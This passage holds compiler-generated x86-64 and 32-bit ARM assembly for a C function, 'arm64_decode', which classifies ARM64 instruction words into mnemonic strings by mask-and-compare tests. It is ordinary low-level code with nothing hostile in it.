FILTER17:
.long -4194304
.align 4
.type FILTER18, @object
.size FILTER18, 4
FILTER18:
.long -1024
.align 4
.type FILTER19, @object
.size FILTER19, 4
FILTER19:
.long 2133916672
.align 4
.type FILTER1A, @object
.size FILTER1A, 4
FILTER1A:
.long -1073742848
.align 4
.type FILTER1B, @object
.size FILTER1B, 4
FILTER1B:
.long -1075774464
.align 4
.type FILTER1C, @object
.size FILTER1C, 4
FILTER1C:
.long 2145418240
.align 4
.type FILTER1D, @object
.size FILTER1D, 4
FILTER1D:
.long -14615552
.align 4
.type FILTER1E, @object
.size FILTER1E, 4
FILTER1E:
.long -14671904
.align 4
.type FILTER1F, @object
.size FILTER1F, 4
FILTER1F:
.long -1082065920
.align 4
.type FILTER20, @object
.size FILTER20, 4
FILTER20:
.long -1090519040
.align 4
.type FILTER21, @object
.size FILTER21, 4
FILTER21:
.long -1611133952
.LC0:
.string "LDR"
.LC1:
.string "STP"
.LC2:
.string "STR"
.LC3:
.string "LDP"
.LC4:
.string "LDRB"
.LC5:
.string "STRB"
.LC6:
.string "LDAXR"
.LC7:
.string "STLXR"
.LC8:
.string "STUR"
.LC9:
.string "LDUR"
.LC10:
.string "LDRSW"
.LC11:
.string "STRH"
.LC12:
.string "LDURB"
.LC13:
.string "STURB"
.LC14:
.string "STURH"
.LC15:
.string "MOV"
.LC16:
.string "ADD"
.LC17:
.string "ADDS"
.LC18:
.string "ADR"
.LC19:
.string "ADRP"
.LC20:
.string "SUB"
.LC21:
.string "CMP"
.LC22:
.string "SXTW"
.LC23:
.string "ASR"
.LC24:
.string "UXTB"
.LC25:
.string "SUBS"
.LC26:
.string "MOVK"
.LC27:
.string "LSR"
.LC28:
.string "ORR"
.LC29:
.string "LSL"
.LC30:
.string "AND"
.LC31:
.string "BL"
.LC32:
.string "B"
.LC33:
.string "RET"
.LC34:
.string "NOP"
.LC35:
.string "CBZ"
.LC36:
.string "BR"
.LC37:
.string "B.cond"
.LC38:
.string "BLR"
.LC39:
.string "TBNZ"
.LC40:
.string "CBNZ"
.LC41:
.string "MUL"
.LC42:
.string "ADC"
.LC43:
.string "ADCS"
.LC44:
.string "FADD"
.LC45:
.string "FMOV"
.LC46:
.string "DUP"
.LC47:
.string "SXTL"
.LC48:
.string "MOVI"
.LC49:
.string "invalid"
.text
.type arm64_decode, @function
arm64_decode:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov eax, DWORD PTR -20[rbp]
shr eax, 25
and eax, 15
mov WORD PTR -2[rbp], ax
movzx eax, WORD PTR -2[rbp]
cmp eax, 15
ja .L118
mov eax, eax
lea rdx, 0[0+rax*4]
lea rax, .L4[rip]
mov eax, DWORD PTR [rdx+rax]
cdqe
lea rdx, .L4[rip]
add rax, rdx
notrack jmp rax
.section .rodata
.align 4
.align 4
.L4:
.long .L119-.L4
.long .L119-.L4
.long .L119-.L4
.long .L119-.L4
.long .L5-.L4
.long .L6-.L4
.long .L5-.L4
.long .L3-.L4
.long .L8-.L4
.long .L8-.L4
.long .L7-.L4
.long .L7-.L4
.long .L5-.L4
.long .L6-.L4
.long .L5-.L4
.long .L3-.L4
.text
.L5:
mov eax, -1077936128
and eax, DWORD PTR -20[rbp]
cmp eax, -1186988032
jne .L12
lea rax, .LC0[rip]
jmp .L13
.L12:
mov eax, -1076884480
and eax, DWORD PTR -20[rbp]
cmp eax, -1203762176
jne .L14
lea rax, .LC0[rip]
jmp .L13
.L14:
mov eax, -1076884480
and eax, DWORD PTR -20[rbp]
cmp eax, -1203763200
jne .L15
lea rax, .LC0[rip]
jmp .L13
.L15:
mov eax, 2143289344
and eax, DWORD PTR -20[rbp]
cmp eax, 679477248
je .L16
mov eax, 2143289344
and eax, DWORD PTR -20[rbp]
cmp eax, 696254464
je .L16
mov eax, 2143289344
and eax, DWORD PTR -20[rbp]
cmp eax, 687865856
jne .L17
.L16:
lea rax, .LC1[rip]
jmp .L13
.L17:
mov eax, 1069547520
and eax, DWORD PTR -20[rbp]
cmp eax, 746586112
je .L18
mov eax, 1069547520
and eax, DWORD PTR -20[rbp]
cmp eax, 747634688
je .L18
mov eax, 1069547520
and eax, DWORD PTR -20[rbp]
cmp eax, 738197504
jne .L19
.L18:
lea rax, .LC1[rip]
jmp .L13
.L19:
mov eax, 1071647744
and eax, DWORD PTR -20[rbp]
cmp eax, 1006633984
je .L20
mov eax, 1071647744
and eax, DWORD PTR -20[rbp]
cmp eax, 1006636032
jne .L21
.L20:
lea rax, .LC2[rip]
jmp .L13
.L21:
mov eax, 1063259136
and eax, DWORD PTR -20[rbp]
cmp eax, 1006636032
jne .L22
lea rax, .LC2[rip]
jmp .L13
.L22:
mov eax, -1075835904
and eax, DWORD PTR -20[rbp]
cmp eax, -1207958528
je .L23
mov eax, -1075835904
and eax, DWORD PTR -20[rbp]
cmp eax, -1207956480
jne .L24
.L23:
lea rax, .LC2[rip]
jmp .L13
.L24:
mov eax, -1077936128
and eax, DWORD PTR -20[rbp]
cmp eax, -1191182336
jne .L25
lea rax, .LC2[rip]
jmp .L13
.L25:
mov eax, 1071647744
and eax, DWORD PTR -20[rbp]
cmp eax, 1008732160
jne .L26
lea rax, .LC2[rip]
jmp .L13
.L26:
mov eax, -1075835904
and eax, DWORD PTR -20[rbp]
cmp eax, -1205860352
jne .L27
lea rax, .LC2[rip]
jmp .L13
.L27:
mov eax, 2143289344
and eax, DWORD PTR -20[rbp]
cmp eax, 683671552
je .L28
mov eax, 2143289344
and eax, DWORD PTR -20[rbp]
cmp eax, 700448768
je .L28
mov eax, 2143289344
and eax, DWORD PTR -20[rbp]
cmp eax, 692060160
jne .L29
.L28:
lea rax, .LC3[rip]
jmp .L13
.L29:
mov eax, 1069547520
and eax, DWORD PTR -20[rbp]
cmp eax, 750780416
je .L30
mov eax, 1069547520
and eax, DWORD PTR -20[rbp]
cmp eax, 767557632
je .L30
mov eax, 1069547520
and eax, DWORD PTR -20[rbp]
cmp eax, 759169024
jne .L31
.L30:
lea rax, .LC3[rip]
jmp .L13
.L31:
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, 943721472
je .L32
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, 943719424
jne .L33
.L32:
lea rax, .LC4[rip]
jmp .L13
.L33:
mov eax, -4194304
and eax, DWORD PTR -20[rbp]
cmp eax, 960495616
jne .L34
lea rax, .LC4[rip]
jmp .L13
.L34:
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, 945817600
jne .L35
lea rax, .LC4[rip]
jmp .L13
.L35:
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, 939525120
je .L36
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, 939527168
jne .L37
.L36:
lea rax, .LC5[rip]
jmp .L13
.L37:
mov eax, -4194304
and eax, DWORD PTR -20[rbp]
cmp eax, 956301312
jne .L38
lea rax, .LC5[rip]
jmp .L13
.L38:
mov eax, -1073742848
and eax, DWORD PTR -20[rbp]
cmp eax, -2006975488
jne .L39
lea rax, .LC6[rip]
jmp .L13
.L39:
mov eax, -1075774464
and eax, DWORD PTR -20[rbp]
cmp eax, -2013201408
jne .L40
lea rax, .LC7[rip]
jmp .L13
.L40:
mov eax, -1075835904
and eax, DWORD PTR -20[rbp]
cmp eax, -1207959552
jne .L41
lea rax, .LC8[rip]
jmp .L13
.L41:
mov eax, -1075835904
and eax, DWORD PTR -20[rbp]
cmp eax, -1203765248
jne .L42
lea rax, .LC9[rip]
jmp .L13
.L42:
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, -1199569920
je .L43
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, -1199567872
jne .L44
.L43:
lea rax, .LC10[rip]
jmp .L13
.L44:
mov eax, -4194304
and eax, DWORD PTR -20[rbp]
cmp eax, -1182793728
jne .L45
lea rax, .LC10[rip]
jmp .L13
.L45:
mov eax, 1071647744
and eax, DWORD PTR -20[rbp]
cmp eax, 1010828288
je .L46
mov eax, 1071647744
and eax, DWORD PTR -20[rbp]
cmp eax, 1010830336
jne .L47
.L46:
lea rax, .LC0[rip]
jmp .L13
.L47:
mov eax, 1069547520
and eax, DWORD PTR -20[rbp]
cmp eax, 1027604480
jne .L48
lea rax, .LC0[rip]
jmp .L13
.L48:
mov eax, -1075835904
and eax, DWORD PTR -20[rbp]
cmp eax, -1203764224
je .L49
mov eax, -1075835904
and eax, DWORD PTR -20[rbp]
cmp eax, -1203762176
jne .L50
.L49:
lea rax, .LC0[rip]
jmp .L13
.L50:
mov eax, -1090519040
and eax, DWORD PTR -20[rbp]
cmp eax, 469762048
jne .L51
lea rax, .LC0[rip]
jmp .L13
.L51:
mov eax, -1090519040
and eax, DWORD PTR -20[rbp]
cmp eax, 402653184
jne .L52
lea rax, .LC0[rip]
jmp .L13
.L52:
mov eax, 1071647744
and eax, DWORD PTR -20[rbp]
cmp eax, 1012926464
jne .L53
lea rax, .LC0[rip]
jmp .L13
.L53:
mov eax, -1075835904
and eax, DWORD PTR -20[rbp]
cmp eax, -1201666048
jne .L54
lea rax, .LC0[rip]
jmp .L13
.L54:
mov eax, 2143289344
and eax, DWORD PTR -20[rbp]
cmp eax, 679477248
jne .L55
lea rax, .LC1[rip]
jmp .L13
.L55:
mov eax, 2143289344
and eax, DWORD PTR -20[rbp]
cmp eax, 696254464
jne .L56
lea rax, .LC1[rip]
jmp .L13
.L56:
mov eax, 2143289344
and eax, DWORD PTR -20[rbp]
cmp eax, 687865856
jne .L57
lea rax, .LC1[rip]
jmp .L13
.L57:
mov eax, 1069547520
and eax, DWORD PTR -20[rbp]
cmp eax, 746586112
je .L58
mov eax, 1069547520
and eax, DWORD PTR -20[rbp]
cmp eax, 763363328
je .L58
mov eax, 1069547520
and eax, DWORD PTR -20[rbp]
cmp eax, 754974720
jne .L59
.L58:
lea rax, .LC1[rip]
jmp .L13
.L59:
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, 939525120
je .L60
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, 939527168
jne .L61
.L60:
lea rax, .LC5[rip]
jmp .L13
.L61:
mov eax, -4194304
and eax, DWORD PTR -20[rbp]
cmp eax, 956301312
jne .L62
lea rax, .LC5[rip]
jmp .L13
.L62:
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, 941623296
jne .L63
lea rax, .LC5[rip]
jmp .L13
.L63:
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, 2015365120
jne .L64
lea rax, .LC11[rip]
jmp .L13
.L64:
mov eax, -4194304
and eax, DWORD PTR -20[rbp]
cmp eax, 2030043136
jne .L65
lea rax, .LC11[rip]
jmp .L13
.L65:
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, 943718400
jne .L66
lea rax, .LC12[rip]
jmp .L13
.L66:
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, 939524096
jne .L67
lea rax, .LC13[rip]
jmp .L13
.L67:
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, 2013265920
jne .L120
lea rax, .LC14[rip]
jmp .L13
.L8:
mov eax, 2133916672
and eax, DWORD PTR -20[rbp]
cmp eax, 285212672
jne .L69
lea rax, .LC15[rip]
jmp .L13
.L69:
mov eax, 2130706432
and eax, DWORD PTR -20[rbp]
cmp eax, 285212672
jne .L70
lea rax, .LC16[rip]
jmp .L13
.L70:
mov eax, 2130706432
and eax, DWORD PTR -20[rbp]
cmp eax, 822083584
jne .L71
lea rax, .LC17[rip]
jmp .L13
.L71:
mov eax, 2139095040
and eax, DWORD PTR -20[rbp]
cmp eax, 1384120320
jne .L72
lea rax, .LC15[rip]
jmp .L13
.L72:
mov eax, -1627389952
and eax, DWORD PTR -20[rbp]
cmp eax, 268435456
jne .L73
lea rax, .LC18[rip]
jmp .L13
.L73:
mov eax, -1627389952
and eax, DWORD PTR -20[rbp]
cmp eax, -1879048192
jne .L74
lea rax, .LC19[rip]
jmp .L13
.L74:
mov eax, 2130706432
and eax, DWORD PTR -20[rbp]
cmp eax, 1358954496
jne .L75
lea rax, .LC20[rip]
jmp .L13
.L75:
mov eax, 2130706463
and eax, DWORD PTR -20[rbp]
cmp eax, 1895825439
jne .L76
lea rax, .LC21[rip]
jmp .L13
.L76:
mov eax, -1024
and eax, DWORD PTR -20[rbp]
cmp eax, -1824490496
jne .L77
lea rax, .LC22[rip]
jmp .L13
.L77:
mov eax, 2139126784
and eax, DWORD PTR -20[rbp]
cmp eax, 318798848
jne .L78
lea rax, .LC23[rip]
jmp .L13
.L78:
mov eax, -1024
and eax, DWORD PTR -20[rbp]
cmp eax, 1392516096
jne .L79
lea rax, .LC24[rip]
jmp .L13
.L79:
mov eax, -4194304
and eax, DWORD PTR -20[rbp]
cmp eax, 1895825408
jne .L80
lea rax, .LC25[rip]
jmp .L13
.L80:
mov eax, 2139095040
and eax, DWORD PTR -20[rbp]
cmp eax, 1920991232
jne .L81
lea rax, .LC26[rip]
jmp .L13
.L81:
mov eax, 2139126784
and eax, DWORD PTR -20[rbp]
cmp eax, 1392540672
jne .L82
lea rax, .LC27[rip]
jmp .L13
.L82:
mov eax, 2139095040
and eax, DWORD PTR -20[rbp]
cmp eax, 838860800
jne .L83
lea rax, .LC28[rip]
jmp .L13
.L83:
mov eax, 2139095040
and eax, DWORD PTR -20[rbp]
cmp eax, 1392508928
jne .L84
lea rax, .LC29[rip]
jmp .L13
.L84:
mov eax, 2139095040
and eax, DWORD PTR -20[rbp]
cmp eax, 301989888
jne .L121
lea rax, .LC30[rip]
jmp .L13
.L7:
mov eax, -67108864
and eax, DWORD PTR -20[rbp]
cmp eax, -1811939328
jne .L86
lea rax, .LC31[rip]
jmp .L13
.L86:
mov eax, -67108864
and eax, DWORD PTR -20[rbp]
cmp eax, 335544320
jne .L87
lea rax, .LC32[rip]
jmp .L13
.L87:
mov eax, -993
and eax, DWORD PTR -20[rbp]
cmp eax, -698417152
jne .L88
lea rax, .LC33[rip]
jmp .L13
.L88:
cmp DWORD PTR -20[rbp], -721215457
jne .L89
lea rax, .LC34[rip]
jmp .L13
.L89:
mov eax, 2130706432
and eax, DWORD PTR -20[rbp]
cmp eax, 872415232
jne .L90
lea rax, .LC35[rip]
jmp .L13
.L90:
mov eax, -993
and eax, DWORD PTR -20[rbp]
cmp eax, -702611456
jne .L91
lea rax, .LC36[rip]
jmp .L13
.L91:
mov eax, -16777200
and eax, DWORD PTR -20[rbp]
cmp eax, 1409286144
jne .L92
lea rax, .LC37[rip]
jmp .L13
.L92:
mov eax, -993
and eax, DWORD PTR -20[rbp]
cmp eax, -700514304
jne .L93
lea rax, .LC38[rip]
jmp .L13
.L93:
mov eax, 2130706432
and eax, DWORD PTR -20[rbp]
cmp eax, 922746880
jne .L94
lea rax, .LC39[rip]
jmp .L13
.L94:
mov eax, 2130706432
and eax, DWORD PTR -20[rbp]
cmp eax, 889192448
jne .L122
lea rax, .LC40[rip]
jmp .L13
.L6:
mov eax, 2145386496
and eax, DWORD PTR -20[rbp]
cmp eax, 186646528
jne .L96
lea rax, .LC16[rip]
jmp .L13
.L96:
mov eax, 2145386496
and eax, DWORD PTR -20[rbp]
cmp eax, 1260388352
jne .L97
lea rax, .LC20[rip]
jmp .L13
.L97:
mov eax, 2130706432
and eax, DWORD PTR -20[rbp]
cmp eax, 184549376
jne .L98
lea rax, .LC16[rip]
jmp .L13
.L98:
mov eax, 2145386496
and eax, DWORD PTR -20[rbp]
cmp eax, 723517440
jne .L99
lea rax, .LC17[rip]
jmp .L13
.L99:
mov eax, 2132803584
and eax, DWORD PTR -20[rbp]
cmp eax, 721420288
jne .L100
lea rax, .LC17[rip]
jmp .L13
.L100:
mov eax, 2145452000
and eax, DWORD PTR -20[rbp]
cmp eax, 704644064
jne .L101
lea rax, .LC15[rip]
jmp .L13
.L101:
mov eax, 2132803584
and eax, DWORD PTR -20[rbp]
cmp eax, 1258291200
jne .L102
lea rax, .LC20[rip]
jmp .L13
.L102:
mov eax, 2145386527
and eax, DWORD PTR -20[rbp]
cmp eax, 1797259295
jne .L103
lea rax, .LC21[rip]
jmp .L13
.L103:
mov eax, 2132803615
and eax, DWORD PTR -20[rbp]
cmp eax, 1795162143
jne .L104
lea rax, .LC21[rip]
jmp .L13
.L104:
mov eax, 2145451008
and eax, DWORD PTR -20[rbp]
cmp eax, 448800768
jne .L105
lea rax, .LC23[rip]
jmp .L13
.L105:
mov eax, 2145418240
and eax, DWORD PTR -20[rbp]
cmp eax, 453016576
jne .L106
lea rax, .LC41[rip]
jmp .L13
.L106:
mov eax, 2145451008
and eax, DWORD PTR -20[rbp]
cmp eax, 448799744
jne .L107
lea rax, .LC27[rip]
jmp .L13
.L107:
mov eax, 2130706432
and eax, DWORD PTR -20[rbp]
cmp eax, 704643072
jne .L108
lea rax, .LC28[rip]
jmp .L13
.L108:
mov eax, 2132803584
and eax, DWORD PTR -20[rbp]
cmp eax, 167772160
jne .L123
lea rax, .LC30[rip]
jmp .L13
.L3:
mov eax, 2145451008
and eax, DWORD PTR -20[rbp]
cmp eax, 436207616
jne .L110
lea rax, .LC42[rip]
jmp .L13
.L110:
mov eax, 2145451008
and eax, DWORD PTR -20[rbp]
cmp eax, 973078528
jne .L111
lea rax, .LC43[rip]
jmp .L13
.L111:
mov eax, -14680064
and eax, DWORD PTR -20[rbp]
cmp eax, 2116026368
jne .L112
lea rax, .LC20[rip]
jmp .L13
.L112:
mov eax, -14615552
and eax, DWORD PTR -20[rbp]
cmp eax, 505423872
jne .L113
lea rax, .LC44[rip]
jmp .L13
.L113:
mov eax, -14671904
and eax, DWORD PTR -20[rbp]
cmp eax, 505417728
jne .L114
lea rax, .LC45[rip]
jmp .L13
.L114:
mov eax, -2094080
and eax, DWORD PTR -20[rbp]
cmp eax, 1577059328
jne .L115
lea rax, .LC46[rip]
jmp .L13
.L115:
mov eax, -1082065920
and eax, DWORD PTR -20[rbp]
cmp eax, 251700224
jne .L116
lea rax, .LC47[rip]
jmp .L13
.L116:
mov eax, -1611133952
and eax, DWORD PTR -20[rbp]
cmp eax, 251659264
jne .L124
lea rax, .LC48[rip]
jmp .L13
.L118:
nop
jmp .L11
.L119:
nop
jmp .L11
.L120:
nop
jmp .L11
.L121:
nop
jmp .L11
.L122:
nop
jmp .L11
.L123:
nop
jmp .L11
.L124:
nop
.L11:
lea rax, .LC49[rip]
.L13:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size arm64_decode, .-arm64_decode
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "996464.c"
.text
.section .rodata
.align 2
.type FILTER0, %object
.size FILTER0, 4
FILTER0:
.word 2145451008
.align 2
.type FILTER1, %object
.size FILTER1, 4
FILTER1:
.word 2145386496
.align 2
.type FILTER2, %object
.size FILTER2, 4
FILTER2:
.word 2132803584
.align 2
.type FILTER3, %object
.size FILTER3, 4
FILTER3:
.word 2130706432
.align 2
.type FILTER4, %object
.size FILTER4, 4
FILTER4:
.word -1627389952
.align 2
.type FILTER5, %object
.size FILTER5, 4
FILTER5:
.word 2139095040
.align 2
.type FILTER6, %object
.size FILTER6, 4
FILTER6:
.word 2145452000
.align 2
.type FILTER7, %object
.size FILTER7, 4
FILTER7:
.word -1077936128
.align 2
.type FILTER8, %object
.size FILTER8, 4
FILTER8:
.word -1076884480
.align 2
.type FILTER9, %object
.size FILTER9, 4
FILTER9:
.word -67108864
.align 2
.type FILTERA, %object
.size FILTERA, 4
FILTERA:
.word -993
.align 2
.type FILTERB, %object
.size FILTERB, 4
FILTERB:
.word -14680064
.align 2
.type FILTERC, %object
.size FILTERC, 4
FILTERC:
.word 2145386527
.align 2
.type FILTERD, %object
.size FILTERD, 4
FILTERD:
.word 2130706463
.align 2
.type FILTERE, %object
.size FILTERE, 4
FILTERE:
.word 2132803615
.align 2
.type FILTERF, %object
.size FILTERF, 4
FILTERF:
.word -16777200
.align 2
.type FILTER10, %object
.size FILTER10, 4
FILTER10:
.word 2139126784
.align 2
.type FILTER11, %object
.size FILTER11, 4
FILTER11:
.word 2143289344
.align 2
.type FILTER12, %object
.size FILTER12, 4
FILTER12:
.word 1069547520
.align 2
.type FILTER13, %object
.size FILTER13, 4
FILTER13:
.word -1075835904
.align 2
.type FILTER14, %object
.size FILTER14, 4
FILTER14:
.word 1071647744
.align 2
.type FILTER15, %object
.size FILTER15, 4
FILTER15:
.word 1063259136
.align 2
.type FILTER16, %object
.size FILTER16, 4
FILTER16:
.word -2094080
.align 2
.type FILTER17, %object
.size FILTER17, 4
FILTER17:
.word -4194304
.align 2
.type FILTER18, %object
.size FILTER18, 4
FILTER18:
.word -1024
.align 2
.type FILTER19, %object
.size FILTER19, 4
FILTER19:
.word 2133916672
.align 2
.type FILTER1A, %object
.size FILTER1A, 4
FILTER1A:
.word -1073742848
.align 2
.type FILTER1B, %object
.size FILTER1B, 4
FILTER1B:
.word -1075774464
.align 2
.type FILTER1C, %object
.size FILTER1C, 4
FILTER1C:
.word 2145418240
.align 2
.type FILTER1D, %object
.size FILTER1D, 4
FILTER1D:
.word -14615552
.align 2
.type FILTER1E, %object
.size FILTER1E, 4
FILTER1E:
.word -14671904
.align 2
.type FILTER1F, %object
.size FILTER1F, 4
FILTER1F:
.word -1082065920
.align 2
.type FILTER20, %object
.size FILTER20, 4
FILTER20:
.word -1090519040
.align 2
.type FILTER21, %object
.size FILTER21, 4
FILTER21:
.word -1611133952
.align 2
.LC0:
.ascii "LDR\000"
.align 2
.LC1:
.ascii "STP\000"
.align 2
.LC2:
.ascii "STR\000"
.align 2
.LC3:
.ascii "LDP\000"
.align 2
.LC4:
.ascii "LDRB\000"
.align 2
.LC5:
.ascii "STRB\000"
.align 2
.LC6:
.ascii "LDAXR\000"
.align 2
.LC7:
.ascii "STLXR\000"
.align 2
.LC8:
.ascii "STUR\000"
.align 2
.LC9:
.ascii "LDUR\000"
.align 2
.LC10:
.ascii "LDRSW\000"
.align 2
.LC11:
.ascii "STRH\000"
.align 2
.LC12:
.ascii "LDURB\000"
.align 2
.LC13:
.ascii "STURB\000"
.align 2
.LC14:
.ascii "STURH\000"
.align 2
.LC15:
.ascii "MOV\000"
.align 2
.LC16:
.ascii "ADD\000"
.align 2
.LC17:
.ascii "ADDS\000"
.align 2
.LC18:
.ascii "ADR\000"
.align 2
.LC19:
.ascii "ADRP\000"
.align 2
.LC20:
.ascii "SUB\000"
.align 2
.LC21:
.ascii "CMP\000"
.align 2
.LC22:
.ascii "SXTW\000"
.align 2
.LC23:
.ascii "ASR\000"
.align 2
.LC24:
.ascii "UXTB\000"
.align 2
.LC25:
.ascii "SUBS\000"
.align 2
.LC26:
.ascii "MOVK\000"
.align 2
.LC27:
.ascii "LSR\000"
.align 2
.LC28:
.ascii "ORR\000"
.align 2
.LC29:
.ascii "LSL\000"
.align 2
.LC30:
.ascii "AND\000"
.align 2
.LC31:
.ascii "BL\000"
.align 2
.LC32:
.ascii "B\000"
.align 2
.LC33:
.ascii "RET\000"
.align 2
.LC34:
.ascii "NOP\000"
.align 2
.LC35:
.ascii "CBZ\000"
.align 2
.LC36:
.ascii "BR\000"
.align 2
.LC37:
.ascii "B.cond\000"
.align 2
.LC38:
.ascii "BLR\000"
.align 2
.LC39:
.ascii "TBNZ\000"
.align 2
.LC40:
.ascii "CBNZ\000"
.align 2
.LC41:
.ascii "MUL\000"
.align 2
.LC42:
.ascii "ADC\000"
.align 2
.LC43:
.ascii "ADCS\000"
.align 2
.LC44:
.ascii "FADD\000"
.align 2
.LC45:
.ascii "FMOV\000"
.align 2
.LC46:
.ascii "DUP\000"
.align 2
.LC47:
.ascii "SXTL\000"
.align 2
.LC48:
.ascii "MOVI\000"
.align 2
.LC49:
.ascii "invalid\000"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type arm64_decode, %function
arm64_decode:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
ldr r3, [fp, #-16]
lsr r3, r3, #25
lsl r3, r3, #16
lsr r3, r3, #16
and r3, r3, #15
strh r3, [fp, #-6] @ movhi
ldrh r3, [fp, #-6]
cmp r3, #15
ldrls pc, [pc, r3, asl #2]
b .L118
.L4:
.word .L118
.word .L118
.word .L118
.word .L118
.word .L5
.word .L6
.word .L5
.word .L3
.word .L8
.word .L8
.word .L7
.word .L7
.word .L5
.word .L6
.word .L5
.word .L3
.L5:
ldr r2, .L124
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+4
cmp r3, r2
bne .L12
ldr r3, .L124+8
b .L13
.L12:
ldr r2, .L124+12
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+16
cmp r3, r2
bne .L14
ldr r3, .L124+8
b .L13
.L14:
ldr r2, .L124+12
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+20
cmp r3, r2
bne .L15
ldr r3, .L124+8
b .L13
.L15:
ldr r2, .L124+24
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #679477248
beq .L16
ldr r2, .L124+24
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #696254464
beq .L16
ldr r2, .L124+24
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #687865856
bne .L17
.L16:
ldr r3, .L124+28
b .L13
.L17:
mov r2, #1069547520
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #746586112
beq .L18
mov r2, #1069547520
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+32
cmp r3, r2
beq .L18
mov r2, #1069547520
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #738197504
bne .L19
.L18:
ldr r3, .L124+28
b .L13
.L19:
ldr r2, .L124+36
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+40
cmp r3, r2
beq .L20
ldr r2, .L124+36
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+44
cmp r3, r2
bne .L21
.L20:
ldr r3, .L124+48
b .L13
.L21:
ldr r2, .L124+52
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+44
cmp r3, r2
bne .L22
ldr r3, .L124+48
b .L13
.L22:
ldr r2, .L124+56
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+60
cmp r3, r2
beq .L23
ldr r2, .L124+56
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+64
cmp r3, r2
bne .L24
.L23:
ldr r3, .L124+48
b .L13
.L24:
ldr r2, .L124
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #-1191182336
bne .L25
ldr r3, .L124+48
b .L13
.L25:
ldr r2, .L124+36
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+68
cmp r3, r2
bne .L26
ldr r3, .L124+48
b .L13
.L26:
ldr r2, .L124+56
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+72
cmp r3, r2
bne .L27
ldr r3, .L124+48
b .L13
.L27:
ldr r2, .L124+24
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #683671552
beq .L28
ldr r2, .L124+24
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #700448768
beq .L28
ldr r2, .L124+24
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #692060160
bne .L29
.L28:
ldr r3, .L124+76
b .L13
.L29:
mov r2, #1069547520
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #750780416
beq .L30
mov r2, #1069547520
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #767557632
beq .L30
mov r2, #1069547520
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #759169024
bne .L31
.L30:
ldr r3, .L124+76
b .L13
.L31:
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+84
cmp r3, r2
beq .L32
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+88
cmp r3, r2
bne .L33
.L32:
ldr r3, .L124+92
b .L13
.L33:
ldr r2, .L124+96
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #960495616
bne .L34
ldr r3, .L124+92
b .L13
.L34:
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+100
cmp r3, r2
bne .L35
ldr r3, .L124+92
b .L13
.L35:
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+104
cmp r3, r2
beq .L36
ldr r2, .L124+80
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+108
cmp r3, r2
bne .L37
.L36:
ldr r3, .L124+112
b .L13
.L37:
ldr r2, .L124+96
ldr r3, [fp, #-16]
and r3, r3, r2
cmp r3, #956301312
bne .L38
ldr r3, .L124+112
b .L13
.L38:
ldr r2, .L124+116
ldr r3, [fp, #-16]
and r3, r3, r2
ldr r2, .L124+120
